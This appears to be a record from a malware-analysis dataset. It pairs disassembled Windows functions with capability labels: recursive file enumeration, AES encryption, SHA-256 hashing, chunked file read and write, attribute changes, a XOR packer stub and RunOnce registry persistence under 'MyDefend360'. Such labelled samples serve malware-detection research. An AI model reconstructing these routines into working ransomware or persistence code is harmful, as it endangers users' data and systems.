joyce8/EMBER2024-capa huggingface dataset:
Function at 0x835d61
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
and dword [ebp - 8], 0
cmp dword [ebp + 8], 0
push ebx
push esi
push edi
je 0x835eba
push dword [ebp + 8]
call fcn.008390c6
pop ecx
lea ecx, [eax + 2]
mov eax, dword [ebp + 0x14]
cmp eax, ecx
jb 0x835eba
lea eax, [eax + eax + 2]
push eax
call fcn.00839041
mov esi, eax
pop ecx
test esi, esi
je 0x835eba
push dword [ebp + 8]
push esi
call fcn.0083927d
push 0x83a414
push esi
call fcn.008392b4
add esp, 0x10
lea eax, [ebp - 0x25c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x835eb3
mov edi, dword [ebp + 0x18]
cmp word [ebp - 0x230], 0x2e
jne 0x835e0b
cmp word [ebp - 0x22e], 0
je 0x835e92
cmp word [ebp - 0x22e], 0x2e
jne 0x835e0b
cmp word [ebp - 0x22c], 0
je 0x835e92
push dword [ebp + 8]
call fcn.008390c6
mov ebx, eax
pop ecx
lea eax, [ebp - 0x230]
push eax
call fcn.008390c6
lea eax, [ebx + eax + 1]
pop ecx
cmp dword [ebp + 0x14], eax
jb 0x835e92
push dword [ebp + 8]
push esi
call fcn.0083927d
push 0x83a208
push esi
call fcn.008392b4
lea eax, [ebp - 0x230]
push eax
push esi
call fcn.008392b4
push dword [ebp + 0x10]
lea eax, [ebp - 0x25c]
push eax
push esi
push dword [ebp + 8]
call dword [ebp + 0xc]
add esp, 0x28
test eax, eax
je 0x835e92
js 0x835eaa
test edi, edi
je 0x835e8f
test byte [ebp - 0x25c], 0x10
je 0x835e8f
lea eax, [edi - 1]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call fcn.00835d61
add esp, 0x14
add dword [ebp - 8], eax
jmp 0x835e92
inc dword [ebp - 8]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x835ddb
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call fcn.008390a1
pop ecx
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x83646a
Capabilities:
Encode data using xor
Encrypt data using aes
Manually build aes constants
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push ebx
xor ebx, ebx
push esi
xor ecx, ecx
inc ebx
push edi
mov eax, ebx
mov esi, 0xff
mov edx, eax
and dl, 0x80
movsx edx, dl
neg edx
sbb edx, edx
and edx, 0x1b
lea edi, [eax + eax]
xor edx, edi
mov dword [ebp + ecx*4 - 0x80c], eax
mov dword [ebp + eax*4 - 0x40c], ecx
xor eax, edx
and eax, esi
inc ecx
cmp ecx, 0x100
jl 0x836482
mov eax, ebx
mov ecx, 0x83bd48
mov edx, eax
and dl, 0x80
movsx edx, dl
neg edx
sbb edx, edx
mov dword [ecx], eax
add eax, eax
and edx, 0x1b
xor eax, edx
add ecx, 4
and eax, esi
cmp ecx, 0x83bd70
jl 0x8364b8
mov byte [str.cw], 0x63
mov byte [0x83d5d3], 0
mov eax, dword [ebp + ebx*4 - 0x40c]
shl eax, 2
lea ecx, [ebp - 0x410]
sub ecx, eax
mov eax, dword [ecx]
mov ecx, eax
sar ecx, 7
lea edx, [eax + eax]
or ecx, edx
and ecx, esi
xor eax, ecx
mov edx, ecx
sar edx, 7
add ecx, ecx
or edx, ecx
and edx, esi
xor eax, edx
mov ecx, edx
add edx, edx
sar ecx, 7
or ecx, edx
and ecx, esi
xor eax, ecx
mov edx, ecx
sar edx, 7
add ecx, ecx
or edx, ecx
xor edx, 0x63
and edx, esi
xor eax, edx
mov byte [ebx + str.cw], al
mov byte [eax + 0x83d570], bl
inc ebx
cmp ebx, 0x100
jl 0x8364e8
xor edi, edi
movzx edx, byte [edi + str.cw]
mov eax, edx
and al, 0x80
movsx ecx, al
neg ecx
sbb ecx, ecx
and ecx, 0x1b
lea eax, [edx + edx]
xor ecx, eax
and ecx, esi
mov eax, ecx
xor eax, edx
shl eax, 8
xor eax, edx
shl eax, 8
xor eax, edx
shl eax, 8
xor eax, ecx
mov ecx, edi
mov dword [ecx*4 + 0x83d170], eax
rol eax, 8
mov dword [ecx*4 + 0x83cd70], eax
rol eax, 8
mov dword [ecx*4 + 0x83c970], eax
rol eax, 8
mov dword [ecx*4 + 0x83c570], eax
movzx eax, byte [edi + 0x83d570]
test eax, eax
je 0x8365ca
mov eax, dword [ebp + eax*4 - 0x40c]
add eax, dword [ebp - 0x3d4]
mov ebx, esi
cdq
idiv ebx
mov eax, dword [ebp + edx*4 - 0x80c]
mov dword [ebp - 4], eax
jmp 0x8365ce
and dword [ebp - 4], 0
movzx eax, byte [edi + 0x83d570]
test eax, eax
je 0x8365f7
mov eax, dword [ebp + eax*4 - 0x40c]
add eax, dword [ebp - 0x3e8]
mov ebx, esi
cdq
idiv ebx
mov eax, dword [ebp + edx*4 - 0x80c]
mov dword [ebp - 0xc], eax
jmp 0x8365fb
and dword [ebp - 0xc], 0
movzx eax, byte [edi + 0x83d570]
test eax, eax
je 0x836624
mov eax, dword [ebp + eax*4 - 0x40c]
add eax, dword [ebp - 0x3d8]
mov ebx, esi
cdq
idiv ebx
mov eax, dword [ebp + edx*4 - 0x80c]
mov dword [ebp - 8], eax
jmp 0x836628
and dword [ebp - 8], 0
movzx eax, byte [edi + 0x83d570]
test eax, eax
je 0x83664e
mov eax, dword [ebp + eax*4 - 0x40c]
add eax, dword [ebp - 0x3e0]
mov ebx, esi
cdq
idiv ebx
mov edx, dword [ebp + edx*4 - 0x80c]
jmp 0x836650
xor edx, edx
shl edx, 8
xor edx, dword [ebp - 8]
shl edx, 8
xor edx, dword [ebp - 0xc]
shl edx, 8
xor edx, dword [ebp - 4]
inc edi
mov dword [ecx*4 + 0x83c170], edx
rol edx, 8
mov eax, edx
mov dword [ecx*4 + 0x83bd70], eax
rol eax, 8
mov dword [ecx*4 + 0x83b948], eax
rol eax, 8
mov dword [ecx*4 + 0x83b548], eax
cmp edi, 0x100
jl 0x83654b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x8368ee
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
push ebx
push esi
push edi
push 0x128
lea eax, [ebp - 0x134]
push 0
push eax
call fcn.00838fa9
push dword [ebp + 0x10]
mov esi, dword [ebp + 8]
push dword [ebp + 0xc]
lea eax, [ebp - 0x134]
lea ebx, [esi + 0x18]
push eax
mov dword [esi + 4], ebx
call fcn.0083669b
add esp, 0x18
mov dword [ebp - 8], eax
test eax, eax
jne 0x8369fc
mov ecx, dword [ebp - 0x134]
mov dword [esi], ecx
lea edi, [esi + 8]
lea esi, [ebp - 0x12c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
shl ecx, 4
add ecx, dword [ebp - 0x130]
push 4
mov eax, dword [ecx]
mov dword [ebx], eax
pop esi
add ecx, esi
mov eax, dword [ecx]
add ebx, esi
mov dword [ebx], eax
add ecx, esi
mov eax, dword [ecx]
add ebx, esi
mov dword [ebx], eax
add ecx, esi
mov eax, dword [ecx]
add ebx, esi
mov dword [ebx], eax
mov eax, dword [ebp + 8]
mov edx, dword [eax]
add ebx, esi
dec edx
sub ecx, 0x1c
jmp 0x8369de
mov dword [ebp + 8], esi
movzx eax, byte [ecx + 3]
movzx eax, byte [eax + str.cw]
movzx edi, byte [ecx + 2]
movzx edi, byte [edi + str.cw]
mov eax, dword [eax*4 + 0x83b548]
xor eax, dword [edi*4 + 0x83b948]
movzx edi, byte [ecx + 1]
movzx edi, byte [edi + str.cw]
xor eax, dword [edi*4 + 0x83bd70]
mov edi, dword [ecx]
and edi, 0xff
movzx edi, byte [edi + str.cw]
xor eax, dword [edi*4 + 0x83c170]
add ecx, esi
mov dword [ebx], eax
add ebx, esi
dec dword [ebp + 8]
jne 0x836983
dec edx
sub ecx, 0x20
test edx, edx
jg 0x836980
mov eax, dword [ecx]
mov dword [ebx], eax
add ebx, esi
add ecx, esi
mov eax, dword [ecx]
mov dword [ebx], eax
mov eax, dword [ecx + esi]
mov dword [ebx + esi], eax
mov eax, dword [ecx + esi + 4]
mov dword [ebx + esi + 4], eax
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x837447
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x18
add eax, 8
test cl, 0xf
je 0x83745d
push 0xffffffffffffffde
pop eax
leave
ret
cmp dword [ebp + 0xc], 0
push ebx
push esi
push edi
jne 0x8374c7
test ecx, ecx
je 0x837523
sub eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
lea ebx, [ecx - 1]
shr ebx, 4
mov dword [ebp - 4], edx
mov dword [ebp - 8], eax
inc ebx
mov eax, dword [ebp - 4]
push dword [ebp + 8]
mov esi, eax
lea edi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [ebp + 0x14]
call fcn.00836f2a
pop ecx
push 0x10
mov eax, esi
pop esi
mov ecx, dword [ebp - 8]
mov cl, byte [ecx + eax]
xor byte [eax], cl
inc eax
dec esi
jne 0x83749e
mov edi, dword [ebp + 8]
add dword [ebp - 4], 0x10
sub dword [ebp - 8], 0x10
add edi, 8
dec ebx
lea esi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp + 0x14], eax
jne 0x837481
jmp 0x837523
test ecx, ecx
je 0x837523
mov ebx, eax
sub ebx, dword [ebp + 0x10]
dec ecx
shr ecx, 4
inc ecx
mov dword [ebp - 8], ecx
mov esi, dword [ebp + 0x14]
mov eax, dword [ebp + 0x10]
mov edi, esi
push 0x10
sub edi, eax
pop ecx
mov dl, byte [ebx + eax]
xor dl, byte [eax]
mov byte [edi + eax], dl
inc eax
dec ecx
jne 0x8374e5
cmp dword [ebp + 0xc], 1
push dword [ebp + 8]
mov eax, esi
jne 0x837503
call fcn.00836a04
jmp 0x837508
call fcn.00836f2a
mov edi, dword [ebp + 8]
add dword [ebp + 0x10], 0x10
add dword [ebp + 0x14], 0x10
add edi, 8
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
sub ebx, 0x10
dec dword [ebp - 8]
pop ecx
movsd dword es:[edi], dword [esi]
jne 0x8374d8
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x837753
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push esi
push edi
xor edi, edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], 0x6a09e667
mov dword [ebp - 0x1c], 0xbb67ae85
mov dword [ebp - 0x18], 0x3c6ef372
mov dword [ebp - 0x14], 0xa54ff53a
mov dword [ebp - 0x10], 0x510e527f
mov dword [ebp - 0xc], 0x9b05688c
mov dword [ebp - 8], 0x1f83d9ab
mov dword [ebp - 4], 0x5be0cd19
xor esi, esi
mov ecx, dword [ebp - 0x30]
mov al, byte [esi + 0x83d680]
mov byte [ebp + ecx - 0x70], al
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x40
jne 0x8377cd
lea ecx, [ebp - 0x70]
mov eax, ecx
call fcn.008382ee
add dword [ebp - 0x28], 0x200
mov dword [ebp - 0x30], edi
adc dword [ebp - 0x24], edi
inc esi
cmp esi, 0x20
jb 0x8377a0
lea eax, [ebp - 0x70]
call fcn.0083848a
pop edi
pop esi
leave
ret
Function at 0x8382ee
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push ebx
push esi
xor edx, edx
inc ecx
push edi
movzx esi, byte [ecx - 1]
movzx edi, byte [ecx]
shl esi, 8
or esi, edi
movzx edi, byte [ecx + 1]
shl esi, 8
or esi, edi
movzx edi, byte [ecx + 2]
shl esi, 8
or esi, edi
mov dword [ebp + edx*4 - 0x120], esi
inc edx
add ecx, 4
cmp edx, 0x10
jb 0x8382fd
push 0x40
pop esi
cmp edx, esi
jae 0x838378
sub esi, edx
lea ecx, [ebp + edx*4 - 0x128]
mov dword [ebp - 4], esi
mov esi, dword [ecx]
mov edx, dword [ecx - 0x34]
mov edi, esi
rol edi, 0xf
mov ebx, esi
shr esi, 0xa
rol ebx, 0xd
xor edi, ebx
xor edi, esi
mov esi, edx
rol esi, 0xe
mov ebx, edx
ror ebx, 7
xor esi, ebx
shr edx, 3
xor esi, edx
add edi, esi
add edi, dword [ecx - 0x38]
add ecx, 4
add edi, dword [ecx - 0x18]
dec dword [ebp - 4]
mov dword [ecx + 4], edi
jne 0x83833e
mov ecx, dword [eax + 0x54]
mov edi, dword [eax + 0x50]
mov ebx, dword [eax + 0x68]
mov esi, dword [eax + 0x60]
and dword [ebp - 0x14], 0
mov dword [ebp - 8], ecx
mov ecx, dword [eax + 0x58]
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + 0x5c]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [eax + 0x64]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + 0x6c]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], ecx
mov ecx, esi
ror ecx, 0xb
mov edx, esi
rol edx, 7
xor ecx, edx
mov edx, esi
ror edx, 6
xor ecx, edx
mov edx, esi
not edx
and edx, ebx
mov ebx, dword [ebp - 0x10]
and ebx, esi
xor edx, ebx
add ecx, edx
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + 0x83a238]
mov ebx, edi
add ecx, dword [ebp + edx - 0x120]
mov edx, edi
add ecx, dword [ebp - 4]
ror edx, 0xd
rol ebx, 0xa
xor edx, ebx
mov ebx, edi
add dword [ebp - 0x14], 4
ror ebx, 2
xor edx, ebx
mov ebx, dword [ebp - 8]
xor ebx, edi
and ebx, dword [ebp - 0xc]
mov edi, dword [ebp - 8]
and edi, dword [ebp - 0x18]
xor ebx, edi
mov edi, dword [ebp - 0x20]
add edx, ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 4], edi
mov edi, dword [ebp - 0xc]
mov dword [ebp - 0x10], esi
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], edi
mov edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
mov edi, dword [ebp - 0x18]
mov dword [ebp - 8], edi
add esi, ecx
cmp dword [ebp - 0x14], 0x100
lea edi, [edx + ecx]
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x18], edi
jb 0x8383a9
mov ecx, dword [eax + 0x50]
add ecx, edi
mov dword [eax + 0x50], ecx
mov ecx, dword [eax + 0x54]
add ecx, dword [ebp - 8]
pop edi
mov dword [eax + 0x54], ecx
mov ecx, dword [eax + 0x58]
add ecx, dword [ebp - 0xc]
mov dword [eax + 0x58], ecx
mov ecx, dword [eax + 0x5c]
add ecx, dword [ebp - 0x1c]
mov dword [eax + 0x5c], ecx
mov ecx, dword [eax + 0x60]
add ecx, esi
mov dword [eax + 0x60], ecx
mov ecx, dword [eax + 0x64]
add ecx, dword [ebp - 0x10]
pop esi
mov dword [eax + 0x64], ecx
mov ecx, dword [eax + 0x68]
add ecx, ebx
mov dword [eax + 0x68], ecx
mov ecx, dword [eax + 0x6c]
add ecx, dword [ebp - 4]
pop ebx
mov dword [eax + 0x6c], ecx
leave
ret
Function at 0x8386b7
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push edi
push dword [esi + 0x24]
xor edi, edi
push edi
push dword [esi + 0x20]
mov dword [ebp - 0xc], edi
call fcn.00838fa9
add esp, 0xc
push 2
lea eax, [ebp - 0x14]
push eax
push edi
push edi
push dword [ebp + 8]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
call edi
test eax, eax
je 0x83877b
mov eax, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
xor eax, eax
push eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push dword [ebp + 8]
call edi
test eax, eax
je 0x83877b
mov eax, dword [esi + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
xor ecx, ecx
cmp ebx, ecx
jb 0x838757
jbe 0x838752
push 0
lea ecx, [ebp - 8]
push ecx
push eax
push dword [esi + 0x20]
push dword [ebp + 8]
call edi
test eax, eax
je 0x83877b
mov eax, dword [esi + 0x24]
cmp dword [ebp - 8], eax
jb 0x83877b
xor ecx, ecx
sub dword [ebp - 0x1c], eax
sbb ebx, ecx
cmp ebx, ecx
ja 0x83872a
jb 0x838757
cmp dword [ebp - 0x1c], eax
ja 0x83872a
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x1c]
push dword [esi + 0x20]
push dword [ebp + 8]
call edi
test eax, eax
je 0x83877b
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 8], eax
jb 0x83877b
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
pop edi
pop ebx
leave
ret
Function at 0x838af1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
push 3
pop esi
mov edi, 0x40000
push edi
push 0
push dword [ebp + 0xc]
call fcn.00838fa9
add esp, 0xc
mov ecx, dword [ebx + esi*8 - 4]
push 0
dec esi
mov eax, dword [ebx + esi*8]
lea edx, [ebp - 0x10]
push edx
push ecx
push eax
push dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x838b55
push 0
lea eax, [ebp - 4]
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x838b55
cmp dword [ebp - 4], edi
jne 0x838b55
test esi, esi
jne 0x838b0f
or esi, 0xffffffff
xor eax, eax
test esi, esi
pop edi
sete al
pop esi
leave
ret

Function at 0x838b60
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
push 2
xor esi, esi
lea eax, [ebp - 0x14]
push eax
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x838c3b
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], eax
cmp eax, esi
ja 0x838ba6
cmp ecx, 0xc0000
jb 0x838c3b
push esi
push 3
push eax
push ecx
call fcn.00839530
xor edi, edi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
xor ebx, ebx
cmp ebx, 2
jne 0x838bce
mov esi, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x18]
add esi, 0xfffc0000
adc edi, 0xffffffff
mov eax, dword [ebp + 0xc]
push 0
mov dword [eax + ebx*8], esi
mov dword [eax + ebx*8 + 4], edi
lea eax, [ebp - 0x14]
push eax
push edi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x838c31
cmp dword [ebp - 0x14], esi
jne 0x838c31
cmp dword [ebp - 0x10], edi
jne 0x838c31
push 0
lea eax, [ebp - 8]
push eax
push 0x40000
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x838c31
mov eax, 0x40000
cmp dword [ebp - 8], eax
jne 0x838c31
add esi, dword [ebp - 0x24]
adc edi, dword [ebp - 0x20]
add dword [ebp + 0x10], eax
inc ebx
cmp ebx, 3
jb 0x838bba
xor eax, eax
cmp ebx, 3
sete al
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x838ebe
Capabilities:
Get file attributes
Get file size
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
xor eax, eax
push eax
push eax
push 3
push eax
push 7
push 0x80000000
push edi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x838fa2
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x838f96
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
or ebx, 0xffffffff
mov dword [ebp - 0x18], eax
or eax, ecx
mov dword [ebp - 0x14], ecx
je 0x838fa2
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x838fa2
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [ebp - 8], eax
and dword [ebp - 8], 1
je 0x838f3e
and eax, 0xfffffffe
push eax
push edi
call esi
test byte [ebp + 0x14], 1
jne 0x838f67
cmp dword [ebp - 0x14], 0
ja 0x838f53
cmp dword [ebp - 0x18], 0x180000
jb 0x838f67
push dword [ebp + 0x14]
mov eax, dword [ebp + 8]
push dword [ebp + 0x10]
push edi
push dword [ebp + 0xc]
call fcn.00838c42
jmp 0x838f79
push dword [ebp + 0x14]
mov eax, dword [ebp + 8]
push dword [ebp + 0x10]
push edi
push dword [ebp + 0xc]
call fcn.00838782
add esp, 0x10
cmp dword [ebp - 8], 0
mov dword [ebp - 4], eax
je 0x838fa2
push dword [ebp - 0xc]
test eax, eax
je 0x838f93
push dword [ebp + 0x10]
call esi
jmp 0x838fa2
push edi
call esi
cmp ebx, 0xffffffff
je 0x838fa2
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40915c
mov ecx, 0x27f764c7
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x728d514d
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x10001020
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x10027335
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10031210]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
push 0x10079af8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [esp + 0x20], 0
mov eax, dword [0x100792b8]
test eax, eax
jne 0x1000106c
call fcn.10001550
mov dword [0x100792b8], eax
mov ecx, dword [eax + 0x11c]
test ecx, ecx
je 0x1000107e
mov edx, dword [eax + 0xd8]
jmp 0x10001080
xor edx, edx
test ecx, ecx
je 0x1000108c
mov ebx, dword [eax + 0x110]
jmp 0x1000108e
xor ebx, ebx
test ecx, ecx
je 0x1000109a
mov edi, dword [eax + 0x114]
jmp 0x1000109c
xor edi, edi
test edx, edx
je 0x10001105
test ebx, ebx
je 0x10001105
test edi, edi
je 0x10001105
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x14]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
mov dword [esp + 0x34], 0
mov dword [esp + 0x38], 0
call edx
mov esi, eax
test esi, esi
jne 0x10001128
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x10]
push edx
push eax
push 1
push esi
push str.MyDefend360
push ecx
call ebx
mov edx, dword [esp + 0x10]
push edx
mov esi, eax
call edi
jmp 0x10001128
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x28]
push eax
push ecx
push 1
push str.MyDefend360
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHSetValueW]
mov esi, eax
push 0x10079af8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, esi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x14
ret 8
Function at 0x10001600
Capabilities:
Encode data using base64

Disassembly:
sub esp, 8
push ebx
push ebp
push edi
mov edi, eax
test edi, edi
je 0x100017a5
mov ebx, dword [esp + 0x18]
test ebx, ebx
je 0x100017a5
mov ebp, dword [esp + 0x1c]
test ebp, ebp
je 0x100017a5
cmp dword [esp + 0x20], 0
je 0x100017a5
push esi
xor esi, esi
cmp ebx, 2
jbe 0x100016dc
lea ebp, [esi + 4]
mov al, byte [edi]
mov cl, byte [edi + 1]
sub ebx, 3
mov dword [esp + 0x1c], ebx
mov bl, al
shr bl, 2
inc edi
mov dl, byte [edi + 1]
mov byte [esp + 0x14], bl
mov bl, cl
and al, 3
inc edi
shr bl, 4
and cl, 0xf
shl al, 4
add al, bl
add cl, cl
mov bl, dl
add cl, cl
shr bl, 6
and dl, 0x3f
inc edi
add cl, bl
mov byte [esp + 0x17], dl
cmp ebp, dword [esp + 0x24]
ja 0x1000178c
movzx edx, byte [esp + 0x14]
movzx edx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov ebx, dword [esp + 0x20]
mov byte [esi + ebx], dl
movzx eax, al
movzx edx, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + ebx + 1], dl
movzx edx, byte [esp + 0x17]
inc esi
movzx eax, cl
mov cl, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc esi
inc ebp
mov byte [esi + ebx], cl
mov al, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ebp
inc esi
inc ebp
mov byte [esi + ebx], al
mov ebx, dword [esp + 0x1c]
inc esi
inc ebp
cmp ebx, 2
ja 0x10001642
mov ebp, dword [esp + 0x20]
test ebx, ebx
je 0x10001786
xor al, al
xor cl, cl
mov byte [esp + 0x12], 0
mov byte [esp + 0x11], al
mov byte [esp + 0x10], cl
test ebx, ebx
jbe 0x10001710
push ebx
lea ecx, [esp + 0x14]
push edi
push ecx
call fcn.1001a1a0
mov al, byte [esp + 0x1d]
mov cl, byte [esp + 0x1c]
add esp, 0xc
mov dl, cl
shr dl, 2
mov byte [esp + 0x14], dl
mov dl, al
and cl, 3
shr dl, 4
and al, 0xf
shl cl, 4
add cl, dl
mov dl, byte [esp + 0x12]
add al, al
shr dl, 6
add al, al
add al, dl
lea edx, [esi + 4]
cmp edx, dword [esp + 0x24]
jbe 0x1000174b
pop esi
pop edi
pop ebp
mov eax, 0xffffffff
pop ebx
add esp, 8
ret
movzx edx, byte [esp + 0x14]
movzx edx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + ebp], dl
movzx ecx, cl
movzx edx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc esi
mov byte [esi + ebp], dl
inc esi
cmp ebx, 1
jne 0x10001774
mov byte [esi + ebp], 0x3d
jmp 0x10001780
movzx eax, al
mov cl, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + ebp], cl
inc esi
mov byte [esi + ebp], 0x3d
inc esi
cmp esi, dword [esp + 0x24]
jb 0x10001797
pop esi
pop edi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 8
ret
mov byte [esi + ebp], 0
mov eax, esi
pop esi
pop edi
pop ebp
pop ebx
add esp, 8
ret
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret